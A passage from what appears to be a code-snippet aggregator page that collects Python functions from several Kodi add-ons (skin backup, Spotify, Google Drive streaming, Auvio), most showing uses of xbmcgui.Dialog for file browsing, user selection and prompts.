            xbmcvfs.copy(custom_thumbnail, iconpath)
项目:script.skin.helper.skinbackup    作者:marcelveldt    | 项目源码 | 文件源码
def get_backuppath(self):
        '''get the file location where backups should be stored'''
        backuppath = self.addon.getSetting("backup_path").decode("utf-8")
        if not backuppath:
            backuppath = xbmcgui.Dialog().browse(3, self.addon.getLocalizedString(32002),
                                                 'files').decode("utf-8")
            self.addon.setSetting("backup_path", backuppath.encode("utf-8"))
        return backuppath
项目:script.skin.helper.skinbackup    作者:marcelveldt    | 项目源码 | 文件源码
def get_backupfilename(self, promptfilename=False):
        '''get the filename for the new backup'''
        backupfile = "%s Skinbackup (%s)" % (
                get_skin_name().capitalize(),
                datetime.now().strftime('%Y-%m-%d %H.%M.%S'))
        if promptfilename:
            header = self.addon.getLocalizedString(32003)
            backupfile = xbmcgui.Dialog().input(header, backupfile).decode("utf-8")
        backupfile += ".zip"
        return self.get_backuppath() + backupfile
项目:script.skin.helper.skinbackup    作者:marcelveldt    | 项目源码 | 文件源码
def get_restorefilename(self):
        '''browse for backup file'''
        filename = xbmcgui.Dialog().browse(1, self.addon.getLocalizedString(32008),
                                       'files').decode("utf-8")
        filename = filename.replace("//", "") # possible fix for strange path issue on atv/ftv ?
        return filename
项目:plugin.audio.spotify    作者:marcelveldt    | 项目源码 | 文件源码
def get_authkey(self):
        '''get authentication key'''
        auth_token = self.win.getProperty("spotify-token").decode("utf-8")
        if not auth_token:
            dialog = xbmcgui.Dialog()
            header = self.addon.getAddonInfo("name")
            msg = self.addon.getLocalizedString(11050)
            dialog.ok(header, msg)
            del dialog
            xbmc.executebuiltin("Addon.OpenSettings(%s)" % ADDON_ID)
        return auth_token
项目:plugin.audio.spotify    作者:marcelveldt    | 项目源码 | 文件源码
def switch_user(self):
        '''switch the currently logged in user'''
        usernames = []
        count = 1
        while True:
            username = self.addon.getSetting("username%s" % count).decode("utf-8")
            count += 1
            if not username:
                break
            else:
                display_name = ""
                try:
                    display_name = self.sp.user(username)["display_name"]
                except Exception:
                    pass
                if not display_name:
                    display_name = username
                usernames.append(display_name)
        dialog = xbmcgui.Dialog()
        ret = dialog.select(self.addon.getLocalizedString(11048), usernames)
        del dialog
        if ret != -1:
            ret += 1
            new_user = self.addon.getSetting("username%s" % ret)
            new_pass = self.addon.getSetting("password%s" % ret)
            self.addon.setSetting("username", new_user)
            self.addon.setSetting("password", new_pass)
项目:plugin.audio.spotify    作者:marcelveldt    | 项目源码 | 文件源码
def add_track_to_playlist(self):
        xbmc.executebuiltin("ActivateWindow(busydialog)")

        if not self.trackid and xbmc.getInfoLabel("MusicPlayer.(1).Property(spotifytrackid)"):
            self.trackid = xbmc.getInfoLabel("MusicPlayer.(1).Property(spotifytrackid)")

        playlists = self.sp.user_playlists(self.userid, limit=50, offset=0)
        ownplaylists = []
        ownplaylistnames = []
        for playlist in playlists['items']:
            if playlist["owner"]["id"] == self.userid:
                ownplaylists.append(playlist)
                ownplaylistnames.append(playlist["name"])
        ownplaylistnames.append(xbmc.getLocalizedString(525))
        xbmc.executebuiltin("Dialog.Close(busydialog)")
        select = xbmcgui.Dialog().select(xbmc.getLocalizedString(524), ownplaylistnames)
        if select != -1 and ownplaylistnames[select] == xbmc.getLocalizedString(525):
            # create new playlist...
            kb = xbmc.Keyboard('', xbmc.getLocalizedString(21381))
            kb.setHiddenInput(False)
            kb.doModal()
            if kb.isConfirmed():
                name = kb.getText()
                playlist = self.sp.user_playlist_create(self.userid, name, False)
                self.sp.user_playlist_add_tracks(self.userid, playlist["id"], [self.trackid])
        elif select != -1:
            playlist = ownplaylists[select]
            self.sp.user_playlist_add_tracks(self.userid, playlist["id"], [self.trackid])
项目:Python-GoogleDrive-VideoStream    作者:ddurdle    | 项目源码 | 文件源码
def playNext(self, service, package):
            (mediaURLs, package) = service.getPlaybackCall(package)

            options = []
            mediaURLs = sorted(mediaURLs)
            for mediaURL in mediaURLs:
                options.append(mediaURL.qualityDesc)
                if mediaURL.qualityDesc == 'original':
                    originalURL = mediaURL.url

            playbackURL = ''
            playbackQuality = ''
            if service.settings.promptQuality:
                if len(options) > 1:
                    ret = xbmcgui.Dialog().select(service.addon.getLocalizedString(30033), options)
                else:
                    ret = 0
            else:
                ret = 0

            playbackURL = mediaURLs[ret].url
            if self.service.settings:
                xbmc.log(self.service.addon.getAddonInfo('name') + ': Play next ' + str(playbackURL), xbmc.LOGNOTICE)

            playbackQuality = mediaURLs[ret].quality
            item = xbmcgui.ListItem(package.file.displayTitle(), iconImage=package.file.thumbnail,
                                thumbnailImage=package.file.thumbnail, path=playbackURL+'|' + service.getHeadersEncoded())
            item.setInfo( type="Video", infoLabels={ "Title": package.file.title } )
            self.PlayStream(playbackURL+'|' + service.getHeadersEncoded(),item,0,package)
项目:plugin.video.auvio    作者:rickybiscus    | 项目源码 | 文件源码
def ask(question):
    dialog = xbmcgui.Dialog()
    title = plugin.addon.getAddonInfo('name')
    return dialog.yesno(title, question)